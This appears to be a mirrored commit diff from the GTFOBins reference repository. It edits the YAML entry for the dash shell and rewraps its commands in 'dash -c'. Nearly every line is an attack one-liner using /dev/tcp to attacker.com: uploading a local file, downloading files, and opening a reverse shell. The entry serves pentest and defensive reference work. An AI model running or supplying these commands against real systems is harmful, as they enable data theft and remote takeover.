mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
Wrap dash commands
This commit is contained in:
parent
fda972eeaa
commit
a442b4cf34
@ -9,33 +9,33 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
RPORT=12345
|
export RPORT=12345
|
||||||
LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
|
dash -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
|
||||||
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
|
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
RPORT=12345
|
export RPORT=12345
|
||||||
LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
cat $LFILE > /dev/tcp/$RHOST/$RPORT
|
dash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
RPORT=12345
|
export RPORT=12345
|
||||||
LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
|
dash -c '(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d \"\r\")" != "" ]; do read i; done; cat) > $LFILE'
|
||||||
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
|
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
|
||||||
code: |-
|
code: |-
|
||||||
RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
RPORT=12345
|
export RPORT=12345
|
||||||
LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
cat < /dev/tcp/$RHOST/$RPORT > $LFILE
|
dash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
RPORT=12345
|
export RPORT=12345
|
||||||
dash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
|
dash -c 'dash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user